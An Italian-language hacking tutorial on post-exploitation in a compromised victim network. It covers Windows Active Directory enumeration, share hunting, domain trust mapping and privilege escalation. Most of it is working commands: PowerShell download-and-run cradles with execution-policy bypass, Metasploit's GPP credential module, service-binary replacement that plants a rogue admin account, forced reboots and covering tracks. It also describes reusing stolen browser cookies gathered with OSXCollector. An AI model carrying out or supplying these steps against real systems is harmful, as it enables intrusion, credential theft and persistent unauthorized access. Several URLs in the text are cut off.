/$$$$$$ /$$__ $$ | $$ \ $$ | $$$$$$$ \____ $$ /$$ \ $$ | $$$$$$/ \______/ Conquistare la net con qualunque accaunt (non-Admin) - ZerotoHero Ricognizione iniziale Quindi ormai dovremmo aver compromesso un paio di sistemi sul network vittima, quindi cosa fare adesso? Come ottenere più informazioni sul network e eventualmente arrivare a un accant di amministrazione? Magari siamo su un Host windows e possiamo lanciare queste queries standard per farcene un idea. Windows Enumeration: In teoria a questo punto dovremmo conoscere i comandi base come: ipconfig, netstat, whoami, etc. Per trovare le informazioni base del sistema. Le possiamo combinare tutte in un unica linea di comando Windows: ● whoami /all && ipconfig /all && netstat -ano && net accounts && net localgroup administrators && net share Ma normalmente non ci basta. Per poter scalare i privileggi dobbiamo capire il sistema e il network molto meglio. Per adesso sappiamo che Powershell è estremamente potente su sistemi Windows, specialmente per noi che tentiamo di entrare. Questi sono i comandi relativi agli script di powershell che sono funzionali sui sistemi windows7 o superiori: ● controllare le modifiche ○ Molte delle macchine presenti nella rete di solito ha livelli di modifica simili. Quindi compromettere una singola macchina può darci un idea di come possiamo compromettere le altre. Qui è da dove possiamo iniziare a compromettere applicazio, browser ecc ○ powershell.exe -command Get-HotFix ● Visualizzare tutti gli utenti avanzati e le relative informzioni ○ Powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/che Get-NetUser ○ Powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/che Get-UserProperties -Properties name,memberof,description,info ○ wmic useraccount get /ALL /format:csv ● Abilitare Remote Desktop (requires administrative privileges) ○ set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-name "fDenyTSConnections" -Value 0 ● Abilitare il Firewall per il Remote Desktop ○ Enable-NetFirewallRule -DisplayGroup "Remote Desktop" ● Aggiungere regole al firewall ○ powershell.exe -command New-NetFirewallRule -DisplayName “Allow Inbound Port 80" -Direction Inbound –LocalPort 80 -Protocol TCP -Action Allow ○ powershell.exe -command New-NetFirewallRule -DisplayName "Block Outbound Port 80" -Direction Outbound –LocalPort 80 - ● View all services ○ powershell.exe -command Get-Service ● Restart service ○ powershell.exe -command Restart-Service ● Configure the DNS server ○ powershell.exe -command Get-Service Set- DNSClientServerAddress -InterfaceAlias "Ethernet" - ServerAddresses 8.8.8.8 ● Ottenere una lista di processi ○ powershell.exe -command Get-Process ○ wmic process get caption,executablepath,commandline /format:csv ● Ottenere una lista di tutte le macchina da una directory attiva ○ Powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/che Get-NetComputers ● Ottenere Più informazioni sul sistema ○ Powershell.exe -exec bypass IEX "(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/che Information.ps1'); Get-Information ● Controllare il network per comprendere quali sistemi L'admin utilizza: ○ Powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheInvoke-Userhunter ● Scoprere quale computer ha un AD on, in questo esempio, cerchiamo l'admin "domainA", che è un amministratore di dominio. ○ Powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/che Invoke-UserHunter -UserName "domainA" ● Scoprire punti "Open Share", una volta entrati nella macchina principale,vofliamo sapere quali utenti ci sono vicini e che condividono le stesse macchine. questo comando ci farà anche scaricare PowerView e tramite gli utenti AD di cercherà vari hostname. Domandando alla macchina dove sono i punti openshare. dall'output che possiamo leggere sembrerà che abbiamo accesso a tre differenti a 3differenti punti di condivisione degli admin. ○ Powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX (New- Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/che "Invoke-ShareFinder -ExcludeIPC -ExcludePrint -CheckShareAccess | Out-File -Encoding ascii found_shares.txt" ○ And when we read found_shares.txt ○ >type found_shares.txt \\win7_123.hacker.testlab\ADMIN$ - Remote Admin \\win7_123.hacker.testlab\C$ - Default share \\win7_123.hacker.testlab\Users - \\win7_125.hacker.testlab\ADMIN$ - Remote Admin \\win7_125.hacker.testlab\C$ - Default share \\win8_100.hacker.testlab\ADMIN$ - Remote Admin \\win8_100.hacker.testlab\C$ - Default share \\win8_100.hacker.testlab\Users - \\win8_101.hacker.testlab\ADMIN$ - RemoteAdmin \\win8_101.hacker.testlab\C$ - Default share ● Cosa fare se vogliamo vedere tutti i punti di condivisione sulla nostra network? di solito gli "open Shares" (unti di condivisione) o file shares(punti di condivisione di file), contengono tonnellate di materiali utili. Possiamo trovarci passwrd, documenti sensibili ed altro. Invoke-Netview, che fà parte della PowerTools suite, è un tool che domanda per ottenere tutti gli host, e ottiene open shares, sessioni, e gli utenti loggati per ogni host. Occhio che questo script tenta d connettersi con ogni host del sistema, richiede molto tempo e carica molto la rete. ○ Powershell.exe -exec bypass IEX "(New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/che Invoke-Netview ● Un altro ottimo modulo di PowerView è l'abbilità di ottenere una lista di tutte le cartelle attive e le informazioni associate con ogni accaount. ○ Powershell.exe -exec bypass IEX "(New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/che Get-UserProperties -Properties name,memberof,description,info" ● Per ottenre le informazioni in automatico dopo l'exploit del sistema possiamo provare Nishang’s Get- Information.ps1 ○ Powershell.exe -exec bypass IEX "(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheOther Common Non-Powershell Post Exploitation Commands: ● per ottenere gli accaunt locali della macchina windows ○ wmic useraccount get /ALL /format:csv ● Trovare i Domain Controllers: ○ nltest /DCLIST:[Domain] ● Ottenere una lista degli admin di dominio e di quelli locali: ○ net group “Domain Admins” /domain ○ net localgroup administrators /DOMAINùù ,##. ,==. ,# #. \ o ', # # _ _ \ \ # # (_) (_) / ; `# #' / .' `##' "==" Domain Trusts da una prospettiva Offensiva, dopo aver compromesso il primo host, dovremmo comprendere il tipo di infrastruttura che loro usano. Vuol dire che in grandi net l' Active Directory del net potrebbe essere collegata a più domini. noi siamo PowerView per la moltitudine di tool che comprende la nostra collezione Powershell toolbag. uno di questi tools che ci pu aiutare a infiltrarci in grandi organizzazioni è: Invoke-MapDomainTrusts lanciando questo comando vedremo le relazioni tra tutti i domini "trust" per esempio: Powershell.exe -exec bypass IEX "(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerTools Invoke-MapDomainTrusts | Export-CSV -NoTypeInformation trusts.csv" L'OUTPUT: hacker.testlab,it.hacker.testlab,ParentChild,BiDirectional hacker.testlab,corp.hacker.testlab,ParentChild,BiDirectional corp.hacker.testlab,corp.alice.com,External,Inbound it.hacker.testlab,hacker.testlab,ParentChild,Bidirectional engineering.hacker.testlab,hacker.testlab,ParentChild,Bidirectional rockets.testlab,product.rockets.testlab,ParentChild,Bidirectional rockets.testlab,it.rockets.testlab,ParentChild,Bidirectional per ottenre informazioni sui membri di un gruppo locale: ● Powershell.exe -exec bypass IEX "(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerTools Get-NetLocalGroup -HostName it.rockets.testlab. vi raccomando di leggere: http://www.harmj0y.net/blog/redteaming/domain-trusts-why-you-should-care/ ,##. ,==. ,# #. \ o ', # # _ _ \ \ # # (_) (_) / ; `# #' / .' `##' "==" Group Policy Preferences: le vulnerabilità del Grup Plicy Preference sono state sistemate modificate nella scorsa versione di winows, ma dovrebbe comunque restare una delle prime cose da controllare. le Grup Policy preference sono una potente integrazione che usano gli admin di sistema per costruire le impostazioni GPO su tutto l'enviroment. Una delle possibilità è di poter creare/aggiornare gli accaunt degli admin locali per tutti gli host presenti sul domini. perchè qualcuno dovrebbe usare quest'opzione? perchè magari vorrebbero inserire un nuovo admin in ogni host o aggiornare un password per ogni accaunt locale (pratica molto comune). una volta che le impostazioni sono configurate e il GPO aggiornato, tutte le stazioni avranno ora n nuovo accaunt. Il problema è che il nome utente e la password devono essere conservati nel GPP e possono essere lette da qualunque utente AD. il problema peggiore p che la chiave AES di encrptazione è publicamente disponibile sul sito di microsoft e quindi permette a chiunque di fare n reverse. se tu sei n host autenticato con il network con qualnque utente del dominio, puoi usare questo modulo di metasploi così: ● use post/windows/gather/credentials/gpp ● set SESSION [Session # of your shell] ● exploit questo ci garantirà facilmente un pò di credenziali di amministrazione, ma dopo la modifica di windows non datelo per scontato. ● https://github.com/rapid7/metasploit- framework/blob/master/modules/post/windows/gather/credentials/gpp.rb ● https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Get- GPPPassword.ps1 nel caso non avete una shell semplicemente montate: \\[Domain Controller]\SYSVOL\[Domain]\Policies e cercate Group.XML e decriptate l'hash usando: http://esec-pentest.sogeti.com/public/files/gpprefdecrypt.py. ,##. ,==. ,# #. \ o ', # # _ _ \ \ # # (_) (_) / ; `# #' / .' `##' "==" OSX enumeration (https://github.com/Yelp/osxcollector)(OS X): Osserviamo la post exloitation su OS X e linux possiamo usare OS X collector per eseguire un information gathering automaticamente. ● curl "https://codeload.github.com/Yelp/osxcollector/zip/master" -o osxcollector.zip ● unzip osxcollector.zip ● cd osxcollector-master/osxcollector ● sudo python osxcollector.py una volta che OSX Collector ha finito un tar.gz file viene creato. Estraiamo tar xzvf osxcollect-*.tar.gz conterrà tutte le informzioni del sistema e il json file importantissimo. contiene: Informazioni complete sul browser (cronologia, cookies, login data, etc) informazioni sui LaunchAgents, LaunchDaemons, ScriptingAdditions, StartupItems and other login items. Informazioni dalle e-mail e altro User Accaunt per informazioni più dettagliate guardiamo: https://github.com/Yelp/osxcollector non penso che bisogna spiegare perchè sia così importante, la cosa buona è che possiamo controllare il tutto offline e magari utilizzare i cookies per loggare nel nostro sito web targhettato :) ,##. ,==. ,# #. \ o ', # # _ _ \ \ # # (_) (_) / ; `# #' / .' `##' "==" Altre informazioni sul post exloitation. ● Linux/Unix/BSD Post Exploitation: http://bit.ly/pqJxA5 ● Windows Post Exploitation: http://bit.ly/1em7gvG ● OSX Post Exploitation: http://bit.ly/1kVTIMf ● Obscure System's Post Exploitation: http://bit.ly/18dvL0I ● Metasploit Post Exploitation: http://bit.ly/JpJ1TR ,##. ,==. ,# #. \ o ', # # _ _ \ \ # # (_) (_) / ; `# #' / .' `##' "==" Privilege Escalation: Se ci scontriamo con un sistema con sistemi molto restrittivi, potremmo avere dei problemi a muoverci lateralmente o eseguire importanti attacchi. Non potendo diventare un AD user siamo limitati a non poter ottenere hash, installare software, cambiare le regole di firewall, modificare i registri e molto altro. quindi apriamo una bella parentesi sulla sezione: Zero to Hero ,##. ,==. ,# #. \ o ', # # _ _ \ \ # # (_) (_) / ; `# #' / .' `##' "==" Zero to Hero - Windows: Dopo che ci siamo iseriti nel sistema uno dei problemi più grandi e spostarci da n utente regolare a un AD. Con un utente regolare rubiamo l'abbilità di modificare i registri, installare i software, l'UACbaypass, ottenere hash, e più di tutto diventare il sistema. Nella parte precendente abbiamo capito come cercare e ottenre in condivisioni aperte password o file. in questa sezione parliamo di come cercare e utilizzare le vulnerabilità nel sistema er diventare il sistema. dobbiamo cercare configurazioni errate. cosa dovremmo cercare?? opzione 1. cercare file di sistema con i privileggi settati male. sappiamo che questi file di sistema chiamano un accensione e avviano qualcosa in background. ad esempioil java updater si avvia ogni volta che il sistema viene avviato econtrolla s oracle se la nostra versione è aggiornata. di solito gira su un accaunt AD. vuol dire che se un file che richiama un servizio è modificabile da un numero limitato di utenti, possiamo rimpiazzarlo con un file da noi creato, permettendogli di avviarsi ogni volta che il sistema si accende o viene riavviato. per fortuna c'è un tool chiamato Powerup che cerca appunto queste problematiche. per avviare power up utilizzere i comandi standard di Powershell per scaricare e installare l'Invoke-Allchecks: ● powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerTools Invoke-AllChecks Ad esempio osserveremo che il servizio OMNISERV è culnerabile in Write-ServiceEXE come possiamo confermare che abbiamo la capacità di scrivere su: C:\Program Files\Fingerprint Manager Pro\OmniServ.exe ?? c'è un programma di defoult di windows chiamato icacls per vedere i permessi, ad esempio lanciandolo su questo file vedremmo un otput tipo: ● icacls "C:\Program Files\Fingerprint Manager Pro\OmniServ.exe" C:\Program Files\Fingerprint Manager Pro\OmniServ.exe Everyone:(I)(F) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Users:(I)(RX) laptop\testaccount:(I)(F) APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX) possiamo vedere che tutti hanno (F) un accsso per modificare il file .exe. se siamo in grado di sostituirlo potenzialmente abbiamo ottenuto il sistema ● powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerTools Write-ServiceEXE -ServiceName omniserv -Username newaccount -Password Asdfasdf1 -Verbose Se è possibile possiamo provare a interromepere e poi avviare il servizoi, ma in questo caso dato che siamo limitati dai permessi degli utenti dobbiamo apsettare che il sistema venga riavviato. per forzare un riavvio possiamo provare questo comando: ● shutdown -r -f -t 0 dopo il riavvio un nuovo accaount AD è stato creato con nome : newaccaunt e pass: Asdfasdf1 quindi rilogghiamo come n utente admin. rimuovere le nostre traccie è molto importante, dobbiamo assicurarci che tutto sia come prima dopo aver crato il nosto account AD. fortunatamente c'è una funzione di restore per riportare indietro il file ufficiale ● powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Veil- Framework/PowerTools/master/PowerUp/PowerUp.ps1'); Restore-ServiceEXE - ServiceName omniserv ○ Restoring up 'C:\Program Files\Fingerprint Manager Pro\OmniServ.exe.bak' to 'C:\Program Files\Fingerprint Manager Pro\OmniServ.exe' ○ Removing backup binary 'C:\Program Files\Fingerprint Manager Pro\OmniServ.exe.bak' Opzione 2 Metasploit ha rilasciato un modulo di exploit chiamato: Windows Service Trusted Path Privilege Escalation Questa vulnerbilità cerca file che abbiano "unquoted paths" quando vengoo eseguiti. per funzionare se un servizio chiamaun eseguibbile come: C:\Program Files\Demo File\Demo.exe e questo non cita correttamente il percorso completo noi possiamo trarne vantaggio. se ad esempio andiamo a vedere il nome della cartella Demo File noteremo che 'è uno spazio tra Demo e File. per primacosa dobbiamo capire se esiste realmente una problematica legata al percorso. da Invoke-AllChecks avremo la nostrarisposta. ● [*] Checking for unquoted service paths... ● [*] Use 'Write-UserAddServiceBinary' to abuse ● [+] Unquoted service path: DACoreService - C:\Program Files (x86)\Dragon Assistant\Core\DACore.exe quindi possiamo sfruttarla eseguendo: ● powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerTools Write-UserAddServiceBinary -ServiceName DACoreService -Path Dragon.exe se avete abbastanaza privileggi spostate l'applicazione su C:\Program Files (x86)\ così dopo il rebbot possiamo avere in nostro account con privileggi AD (admin XD) ● shutdown -r -f -t 0 Zero To Hero - Linux: con linux passiamo per le stesse problematiche, cercheremo file scrivibile da tutti, SUID/GUID di proprietà del root, e configurazioni sbagliate. i due tool che possiamo usare sono: unix-privesc-check and LinEnum. ● https://code.google.com/p/unix-privesc-check/source/checkout ● https://github.com/rebootuser/LinEnum spostiamo questi software sulla macchina della vittima e avviamoli infine un abuona lista di exloit per Linux/unix ● https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack